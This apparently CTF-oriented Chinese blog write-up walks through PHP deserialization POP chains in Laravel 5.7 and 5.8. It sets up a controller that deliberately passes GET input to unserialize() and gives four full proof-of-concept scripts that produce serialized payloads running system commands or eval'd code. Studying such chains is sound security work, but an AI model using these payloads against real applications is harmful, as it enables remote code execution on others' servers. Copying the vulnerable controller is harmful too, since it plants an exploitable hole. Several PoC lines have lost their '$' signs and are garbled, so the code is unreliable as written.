Laravel5.7.*

添加Controller

在app/Http/Controllers中新建TaskController.php

<?php
namespace App\Http\Controllers;
​
class TaskController
{
  public function index(){
      unserialize($_GET['code']);
      return "unser";
  }
}

POP链

反序列化漏洞的入口在PendingCommand.php,攻击的思路就是通过反序列化触发PendingCommand类的__destruct析构函数,进而调用其run方法实现代码执行。

而且我们知道commandparameters参数都是我们能控制的,那么我们只要能让run方法正常跑完就行了。

跟进一下mockConsoleOutput,然后先看这个

然后我们还是秉持让程序正常跑完的原则,继续跟进createABufferedOutputMock

注意这里的$this->test->expectedOutput应该可以返回一个数组。我们考虑用__get()来绕过

Illuminate\Auth\GenericUser里有个诱人的__get()方法

其中$this->attributes是可以控制的。所以我们可以正常绕过createABufferedOutputMock函数

后面的$this->test->expectedQuestions也是同样的套路

接下来我们考虑这个函数

文档中说app是一个\Illuminate\Foundation\Application里的类,而且它有bind方法。我们可以先直接让app为该类的实例化

接下来我们就进入这个try

这里的Kernel::class指的是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel

并且$this->app[Kernel::class]返回的类中的call方法可以实现命令执行

Container类里的call方法就挺诱人的

只是这里的app也是一个类。把类当作数组访问要用ArrayAccess接口,而Container恰好继承了这个接口。

在这里把类当成数组并从中取值会用到offsetget这个接口

有个简单的想法,就是用this->instances[$abstract]返回一个Application

再跟进一下getAlias

我们只要让$this->aliases为空就可以返回原来的$abstract

后面的这个

我们要想办法让它为false,只要$this->getContextualConcrete($abstract)null即可

这也是很简单的,什么都不做就可以

于是我们就得到了一个Application类

我们最后再跟进到call里面去看看

第一个if显然不会通过

这个嘛。。大概就是把dependenciesparameters合并一下,而dependencies默认为空

所以就成功RCE了!

poc:

<?php

namespace Illuminate\Foundation{
  class Application{
      protected $instances = [];
      public function __construct($tmp=null){
          this->instances['Illuminate\Contracts\Console\Kernel'] =tmp;
      }
  }
}

namespace Illuminate\Auth{
  class GenericUser{
      protected $attributes;
      public function __construct()
      {
          $this->attributes["expectedQuestions"]=Array('a'=>'b');
          $this->attributes["expectedOutput"]=Array('a'=>'b');
      }
  }
}

namespace Illuminate\Foundation\Testing{
  use Illuminate\Auth\GenericUser;
  use Illuminate\Foundation\Application;
  class PendingCommand{
      protected $command;
      protected $parameters;
      public $test;
      protected $app;
      public function __construct(){
          $this->command = "system";
          $this->parameters[] = "cat /flag";
          $this->test = new GenericUser();
          $tmp = new Application();
          this->app = new Application(tmp);
      }
  }
}

namespace {
  use Illuminate\Foundation\Testing\PendingCommand;
  $a = serialize(new PendingCommand());
  echo $a;
  echo "\n";
  echo urlencode($a);
  echo "\n";
  echo base64_encode($a);
}

参考资料

https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/

https://blog.csdn.net/rfrder/article/details/113826483

Laravel5.8.*

添加Controller

先在routes/web.php文件中添加一条路由:

Route::get("/unserialize","\App\Http\Controllers\unController@unserialize");

再在app/Http/Controllers下添加控制器:

<?php

namespace App\Http\Controllers;

class unController extends Controller
{
  public function unserialize()
  {
      if(isset($_GET['c'])){
          code=_GET['c'];
          unserialize($code);
      }
      else{
          highlight_file(__FILE__);
      }

      return "your controller is successful";
  }

}

POP链1

入口在Illuminate\Broadcasting\PendingBroadcast

跟踪其__destruct()方法

发现她调用了dispatch函数,然后我们去找一个合适的dispatch函数

可以发现Illuminate\Bus\Dispatcher中有一个诱人的函数

跟进一下commandShouldBeQueued

发现command必须是ShouldQueue的一个实例(或者其子类的实例)

Illuminate\Broadcasting\BroadcastEvent中继承了该接口

继续跟进,我们就发现我们已经可以实现命令执行了

后面就算有报错也可以不用管

poc

<?php


namespace Illuminate\Broadcasting{
  class BroadcastEvent{
      public $connection;
      public function __construct(){
          $this->connection="cat /flag";
      }
  }
}

namespace Illuminate\Bus{
  class Dispatcher{
      protected $queueResolver;
      public function __construct()
      {
          $this->queueResolver = "system";
      }
  }
}



namespace Illuminate\Broadcasting{
  use Illuminate\Bus\Dispatcher;
  use Illuminate\Broadcasting\BroadcastEvent;
  class PendingBroadcast{
      protected $events;
      protected $event;
      public function __construct(){
          $this->events = new Dispatcher();
          $this->event = new BroadcastEvent();
      }
  }
}

namespace {
  use Illuminate\Broadcasting\PendingBroadcast;
  $seri = serialize(new PendingBroadcast());
  echo $seri;
  echo "\n";
  echo urlencode($seri);
}

POP链2

注意这里的call_user_func,其实也可以调用任意类的方法

$a = new A();
call_user_func("call_user_func",array($a,"a"));
或者
$a = new A();
call_user_func(array($a,"a"),"test");

我们来找找有没有可以利用的类方法,比如含有eval

PHPUnit\Framework\MockObject\Generator有一个诱人的eval

可惜她是private,不能利用

我们可以再找一个

其中getCodegetClassName可控,只是我们还要找一个有getName()的类

于是又可以RCE

POC:

<?php

namespace PhpParser\Node\Scalar\MagicConst{
  class Dir{
  }
}



namespace Mockery\Loader{
  class EvalLoader{

  }
}

namespace Mockery\Generator{
  use PhpParser\Node\Scalar\MagicConst\Dir;
  class MockDefinition{
      protected $config;
      protected $code;
      public function __construct(){
          $this->code = "<?php phpinfo();exit();?>";
          $this->config = new Dir();
      }
  }
}

namespace Illuminate\Bus{
  use Mockery\Loader\EvalLoader;
  class Dispatcher{
      protected $queueResolver;
      public function __construct()
      {
          $this->queueResolver = [new EvalLoader(),'load'];
      }
  }
}

namespace Illuminate\Broadcasting{
  use Mockery\Generator\MockDefinition;
  class BroadcastEvent{
      public $connection;
      public function __construct(){
          $this->connection=new MockDefinition();
      }
  }
}

namespace Illuminate\Broadcasting{
  use Illuminate\Bus\Dispatcher;
  use Illuminate\Broadcasting\BroadcastEvent;
  class PendingBroadcast{
      protected $events;
      protected $event;
      public function __construct(){
          $this->events = new Dispatcher();
          $this->event = new BroadcastEvent();
      }
  }
}

namespace {
  use Illuminate\Broadcasting\PendingBroadcast;
  $seri = serialize(new PendingBroadcast());
  echo $seri;
  echo "\n";
  echo urlencode($seri);
}

而且可以通过exit()来避免后面报错

POP链3

这次的入口在Symfony\Component\Cache\Adapter\TagAwareAdapter里,要先安装Symphony插件,

并把里面的__wakeup()注释掉

先找到__destruct()然后一直跟进

一开始想让$f=call_user_func$items=[new EvalLoader(),'load']然后利用这个

$this->pool->saveDeferred($item)就随便找个__call函数应付过去

结果我忘了EvalLoader::load是要传参的,所以Fail了

我们应该去找一个可以利用saveDeferred方法的类

比如ProxyAdapter

跟进到doSave

我们的利用点是这条命令(this->setInnerItem)(innerItem, $item);

这个函数要有两个参数,而且第二个参数几乎没用

考虑用system函数

可以注意到上面有条这个命令,这里的\0*\0innerItem指的就是一个protected

然后就可以RCE了

POC:

<?php
​
​
namespace Symfony\Component\Cache{
  final class CacheItem{
      protected innerItem;
      protectedpoolHash;
      public function __construct(){
          this->innerItem = "ls";
         this->poolHash = "Hello!";
      }
  }
}
​
namespace Symfony\Component\Cache\Adapter{
  class ProxyAdapter{
      private setInnerItem;
      privatepoolHash;
      public function __construct(){
          this->setInnerItem = "system";
         this->poolHash = "Hello!";
      }
  }
}
​
namespace Symfony\Component\Cache\Adapter{
  use Symfony\Component\Cache\CacheItem;
  class TagAwareAdapter{
      private pool;
      public function __construct(){
         this->pool = new ProxyAdapter();
          this->deferred = array(new CacheItem(),"a");
      }
  }
}
​
namespace {
  use Symfony\Component\Cache\Adapter\TagAwareAdapter;
 a = new TagAwareAdapter();
  echo serialize(a);
  echo "\n";
  echo urlencode(serialize(a));
}

参考资料

https://nikoeurus.github.io/2019/12/16/laravel5.8反序列化/#POP链1

https://blog.csdn.net/rfrder/article/details/113835057


告别纷扰,去寻找生活的宝藏。